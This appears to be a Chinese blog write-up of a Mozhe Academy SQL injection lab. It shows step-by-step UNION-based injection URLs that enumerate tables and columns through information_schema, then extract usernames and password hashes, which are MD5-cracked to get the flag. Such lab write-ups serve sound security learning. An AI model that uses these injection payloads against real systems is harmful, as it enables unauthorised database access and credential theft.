SQL注入(墨者学院)
链接:https://www.mozhe.cn/bug/detail/82
题目环境:
打开题目:
随便点一点,发现随便输密码登不上去,利用一些万能密码,还是无法登陆,无意点击下面的维护公告,出现另外一个页面:‘’
ID=1;可能在这有注入:
试一下:
报错 存在注入:
用order by 看看有几个字段:
发现有4个字段:
利用union查询:
发现在2,3处存在注入,
看下数据库:
知道当前的数据库,利用information_schema中的三张表查询;
已经知道数据库的名字,查询:
http://219.153.49.228:44213/new_list.php?id=-1%20union%20select%201,(selecttable_name from information_schema.tables where table_schema=database() limit 0,1),3,4
得到:
改变limit后的数值;1,1:
第二张表:
看第一张表的字段:
http://219.153.49.228:44213/new_list.php?id=-1%20union%20select%201,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27%20limit%200,1),3,4
用limit 1,1 2,1 3,1逐步尝试:
查看字段值:
http://219.153.49.228:44213/new_list.php?id=-1%20union%20select%201,(select%20name%20from%20StormGroup_member%20limit%200,1),3,4
最后发现只有mozhe一个name;
查密码;
http://219.153.49.228:44213/new_list.php?id=-1%20union%20select%201,(select%20password%20from%20StormGroup_member%20limit%200,1),3,4
最后发现有两个密码;
Md5解密;用第二个密码登录上去拿到flag
最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。